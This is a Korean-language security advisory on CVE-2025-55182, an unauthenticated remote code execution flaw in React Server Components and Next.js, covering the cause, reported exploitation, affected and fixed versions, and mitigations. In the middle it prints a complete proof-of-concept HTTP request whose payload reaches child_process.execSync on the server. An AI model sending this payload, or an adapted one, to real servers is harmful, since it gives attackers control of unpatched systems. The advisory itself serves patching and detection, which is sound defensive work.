1. React 및 Next.js
- React : 메타에서 개발한 웹사이트 화면을 만드는 데 사용되는 자바스크립트 라이브러리
- Next.js : React를 기반으로 만든 웹 프레임워크
1.1 React Server Component (RSC)
- 서버 측에서 컴포넌트를 실행하여 미리 렌더링된 마크업을 생성후, 클라이언트에게 전달되어 사용자에게 콘텐츠를 보여주는 방식
2. 취약점

- RSC Flight 프로토콜 처리 과정에서 requireModule()의 부적절한 역직렬화로 인해 인증 없이 서버에서 원격 코드 실행이 가능한 취약점 (CVSS: 10.0) [2]
> 해당 함수에서 hasOwnProperty 같은 검증 없이 클라이언트가 요청한 name을 그대로 사용하여 취약점 발생
※ NIST에서 CVE-2025-66478은 CVE-2025-55182와 동일 취약점으로 중복 처리하여 정보 삭제
> 프레임워크는 기본적으로 RSC 구현을 내장하므로, 함수를 직접적으로 명시하지 않더라도 공격에 노출됨
> 현재 중국에서 해당 취약점을 활용한 공격 테스트가 시작된 정황이 포착 되었으며, 대상 서버에 페이로드 업로드 등 5가지 단계까지 완료한 상태로 확인
※ 대상 서버에 페이로드 업로드, RSC 직렬화 취약점 유발, 외부 DNSLog로 명령 실행 성공 여부 확인, 서버 측에서 child_process 실행 가능성 검증
> 39%의 클라우드 인스턴스가 취약하며, 국내의 경우 18만 9천 대 노출된 것으로 확인

- PoC [4][5][6]
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
- 대응방안
> 벤더사 제공 업데이트 적용 [8][9][10]
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2025-55182 | react-server-dom-webpack | 19.0 | 19.0.1 |
| 19.1.0 ~ 19.1.1 | 19.1.2 | ||
| 19.2.0 | 19.2.1 | ||
| react-server-dom-parcel | 19.0 | 19.0.1 | |
| 19.1.0 ~ 19.1.1 | 19.1.2 | ||
| 19.2.0 | 19.2.1 | ||
| react-server-dom-turbopack | 19.0 | 19.0.1 | |
| 19.1.0 ~ 19.1.1 | 19.1.2 | ||
| 19.2.0 | 19.2.1 | ||
| Next.js | 14.3.0-canary.77 이상 | 최신 안정 버전으로 다운그레이드 권고 (14.x) |
|
| 15.0.x | 15.0.5 | ||
| 15.1.x | 15.1.9 | ||
| 15.2.x | 15.2.6 | ||
| 15.3.x | 15.3.6 | ||
| 15.4.x | 15.4.8 | ||
| 15.5.x | 15.5.7 | ||
| 16.0.x | 16.0.7 |
> 취약점 스캐너를 활용한 취약 여부 확인 및 탐지 정책 적용 [11][12]
> 로그 점검 (RSC 관련 엔드포인트에 대한 반복적인 요청 등)
3. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182
[2] https://www.aikido.dev/blog/react-nextjs-cve-2025-55182-rce
[3] https://en.fofa.info/result?qbase64=KGFwcD0iTkVYVC5qcyIgfHwgYXBwPSJSZWFjdC5qcyIpICYmIGNvdW50cnk9IktSIg%3D%3D
[4] https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
[5] https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478?tab=readme-ov-file#payload-that-can-see-command-execution-result-in-response-body-most-useful
[6] https://github.com/ejpir/CVE-2025-55182-research
[7] https://x.com/maple3142/status/1996687157789155647?s=20
[8] https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components#immediate-action-required
[9] https://nextjs.org/blog/CVE-2025-66478
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71912&menuNo=205020
[11] https://github.com/assetnote/react2shell-scanner
[12] https://www.piolink.com/kr/service/Security-Analysis.php?vType=view&bbsCode=security&idx=178
[13] https://www.boannews.com/media/view.asp?idx=140766&page=1&kind=1
[14] https://www.dailysecu.com/news/articleView.html?idxno=203063
[15] https://www.dailysecu.com/news/articleView.html?idxno=203111






